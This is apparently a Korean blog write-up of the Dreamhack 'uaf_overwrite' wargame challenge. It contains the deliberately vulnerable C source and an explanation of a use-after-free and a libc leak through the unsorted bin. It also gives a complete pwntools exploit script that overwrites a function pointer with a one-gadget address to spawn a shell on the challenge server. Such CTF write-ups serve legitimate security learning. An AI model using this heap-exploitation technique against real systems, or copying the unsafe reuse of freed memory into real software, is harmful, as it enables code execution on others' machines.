[Dreamhack] uaf_overwrite

김성진·2022년 7월 18일
0

Dreamhack_System

목록 보기
25/44

📒 Description & Checksec


모든 보호기법이 다 걸려있다. ...


📒 C code

📖 uaf_overwrite.c

// Name: uaf_overwrite.c
// Compile: gcc -o uaf_overwrite uaf_overwrite.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

struct Human {
  char name[16];
  int weight;
  long age;
};

struct Robot {
  char name[16];
  int weight;
  void (*fptr)();
};

struct Human *human;
struct Robot *robot;
char *custom[10];
int c_idx;

void print_name() { printf("Name: %s\n", robot->name); }

void menu() {
  printf("1. Human\n");
  printf("2. Robot\n");
  printf("3. Custom\n");
  printf("> ");
}

void human_func() {
  int sel;
  human = (struct Human *)malloc(sizeof(struct Human));

  strcpy(human->name, "Human");
  printf("Human Weight: ");
  scanf("%d", &human->weight);

  printf("Human Age: ");
  scanf("%ld", &human->age);

  free(human);
}

void robot_func() {
  int sel;
  robot = (struct Robot *)malloc(sizeof(struct Robot));

  strcpy(robot->name, "Robot");
  printf("Robot Weight: ");
  scanf("%d", &robot->weight);

  if (robot->fptr)
    robot->fptr();
  else
    robot->fptr = print_name;

  robot->fptr(robot);

  free(robot);
}

int custom_func() {
  unsigned int size;
  unsigned int idx;
  if (c_idx > 9) {
    printf("Custom FULL!!\n");
    return 0;
  }

  printf("Size: ");
  scanf("%d", &size);

  if (size >= 0x100) {
    custom[c_idx] = malloc(size);
    printf("Data: ");
    read(0, custom[c_idx], size - 1);

    printf("Data: %s\n", custom[c_idx]);

    printf("Free idx: ");
    scanf("%d", &idx);

    if (idx < 10 && custom[idx]) {
      free(custom[idx]);
      custom[idx] = NULL;
    }
  }

  c_idx++;
}

int main() {
  int idx;
  char *ptr;
  
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  while (1) {
    menu();
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        human_func();
        break;
      case 2:
        robot_func();
        break;
      case 3:
        custom_func();
        break;
    }
  }
}

우선 Human의 age가 Robot의 fptr로 들어가져야 한다.
초기화를 진행하지 않으니 overwrite 취약점이 존재하겠다.

그렇다면 libc_base는 어떻게 leak 할 수 있을까?
unsorted bin에 할당되었다가 해제된 청크의 fd, bk에는 main_arena가 적혀있다.
이를 이용해서 딸 수 있겠다.
하지만 top chunk와 맞닿는다면 병합이 일어날 수도 있으니 유의해야 한다.


📒 Exploit

📖 exploit.py

from pwn import *
p = remote('host3.dreamhack.games',16224)
l = ELF('./libc-2.27.so')
arena_offset = l.symbols['__malloc_hook'] + 0x10
system_offset = l.symbols['system']

print(hex(arena_offset))

sla = p.sendlineafter
sa = p.sendafter

sla(b'>',b'3')
sla(b':',b'1280')
sa(b':',b'A')
sla(b':',b'10')

sla(b'>',b'3')
sla(b':',b'1280')
sa(b':',b'A')

sla(b':',b'0')

sla(b'>',b'3')
sla(b':',b'1280')
sa(b':',b'A')

p.recvuntil(b'Data: ')
arena = u64(p.recvline()[:-1].ljust(8,b'\x00'))
print(hex(arena))

libc_base = arena - arena_offset
print(hex(libc_base))
libc_base = (libc_base//4096) * 4096
gadget = libc_base + 0x10a41c

print(gadget)

sla(b'>', b'1')
sla(b':', b'1')
sla(b':', str(gadget))

sla(b'>', b'2')
sla(b':', b'1')

p.interactive()
profile
Today I Learned

0개의 댓글